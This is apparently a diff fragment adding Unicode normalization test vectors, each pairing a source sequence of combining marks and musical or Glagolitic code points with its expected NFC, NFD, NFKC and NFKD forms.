+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1D186, 0x0062], NFC: [0x00E0, 0x05AE, 0x1D186, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1D186, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1D186, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1D186, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1D186, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1D186, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1D186, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1D186, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1D186, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1D187, 0x0062], NFC: [0x00E0, 0x05AE, 0x1D187, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1D187, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1D187, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1D187, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1D187, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1D187, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1D187, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1D187, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1D187, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1D188, 0x0062], NFC: [0x00E0, 0x05AE, 0x1D188, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1D188, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1D188, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1D188, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1D188, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1D188, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1D188, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1D188, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1D188, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1D189, 0x0062], NFC: [0x00E0, 0x05AE, 0x1D189, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1D189, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1D189, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1D189, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1D189, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1D189, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1D189, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1D189, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1D189, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1D18A, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1D18A, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1D18A, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1D18A, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1D18A, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1D18A, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1D18A, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1D18A, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1D18A, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1D18A, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1D18B, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1D18B, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1D18B, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1D18B, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1D18B, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1D18B, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1D18B, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1D18B, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1D18B, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1D18B, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1D1AA, 0x0062], NFC: [0x00E0, 0x05AE, 0x1D1AA, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1D1AA, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1D1AA, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1D1AA, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1D1AA, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1D1AA, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1D1AA, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1D1AA, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1D1AA, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1D1AB, 0x0062], NFC: [0x00E0, 0x05AE, 0x1D1AB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1D1AB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1D1AB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1D1AB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1D1AB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1D1AB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1D1AB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1D1AB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1D1AB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1D1AC, 0x0062], NFC: [0x00E0, 0x05AE, 0x1D1AC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1D1AC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1D1AC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1D1AC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1D1AC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1D1AC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1D1AC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1D1AC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1D1AC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1D1AD, 0x0062], NFC: [0x00E0, 0x05AE, 0x1D1AD, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1D1AD, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1D1AD, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1D1AD, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1D1AD, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1D1AD, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1D1AD, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1D1AD, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1D1AD, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1D242, 0x0062], NFC: [0x00E0, 0x05AE, 0x1D242, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1D242, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1D242, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1D242, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1D242, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1D242, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1D242, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1D242, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1D242, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1D243, 0x0062], NFC: [0x00E0, 0x05AE, 0x1D243, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1D243, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1D243, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1D243, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1D243, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1D243, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1D243, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1D243, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1D243, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1D244, 0x0062], NFC: [0x00E0, 0x05AE, 0x1D244, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1D244, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1D244, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1D244, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1D244, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1D244, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1D244, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1D244, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1D244, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E000, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E000, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E000, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E000, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E000, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E000, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E000, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E000, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E000, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E000, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E001, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E001, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E001, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E001, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E001, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E001, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E001, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E001, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E001, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E001, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E002, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E002, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E002, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E002, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E002, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E002, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E002, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E002, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E002, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E002, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E003, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E003, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E003, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E003, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E003, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E003, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E003, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E003, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E003, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E003, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E004, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E004, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E004, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E004, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E004, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E004, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E004, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E004, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E004, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E004, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E005, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E005, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E005, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E005, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E005, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E005, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E005, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E005, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E005, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E005, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E006, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E006, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E006, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E006, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E006, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E006, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E006, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E006, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E006, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E006, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E008, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E008, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E008, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E008, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E008, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E008, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E008, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E008, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E008, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E008, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E009, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E009, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E009, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E009, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E009, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E009, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E009, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E009, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E009, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E009, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E00A, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E00A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E00A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E00A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E00A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E00A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E00A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E00A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E00A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E00A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E00B, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E00B, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E00B, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E00B, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E00B, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E00B, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E00B, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E00B, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E00B, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E00B, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E00C, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E00C, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E00C, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E00C, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E00C, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E00C, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E00C, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E00C, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E00C, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E00C, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E00D, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E00D, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E00D, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E00D, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E00D, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E00D, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E00D, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E00D, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E00D, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E00D, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E00E, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E00E, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E00E, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E00E, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E00E, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E00E, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E00E, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E00E, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E00E, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E00E, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E00F, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E00F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E00F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E00F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E00F, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E00F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E00F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E00F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E00F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E00F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E010, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E010, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E010, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E010, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E010, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E010, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E010, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E010, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E010, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E010, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E011, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E011, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E011, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E011, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E011, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E011, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E011, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E011, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E011, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E011, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E012, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E012, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E012, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E012, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E012, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E012, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E012, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E012, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E012, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E012, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E013, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E013, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E013, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E013, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E013, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E013, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E013, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E013, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E013, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E013, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E014, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E014, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E014, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E014, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E014, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E014, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E014, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E014, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E014, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E014, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E015, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E015, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E015, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E015, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E015, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E015, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E015, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E015, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E015, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E015, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E016, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E016, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E016, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E016, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E016, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E016, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E016, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E016, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E016, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E016, 0x0300, 0x0315, 0x0062] },
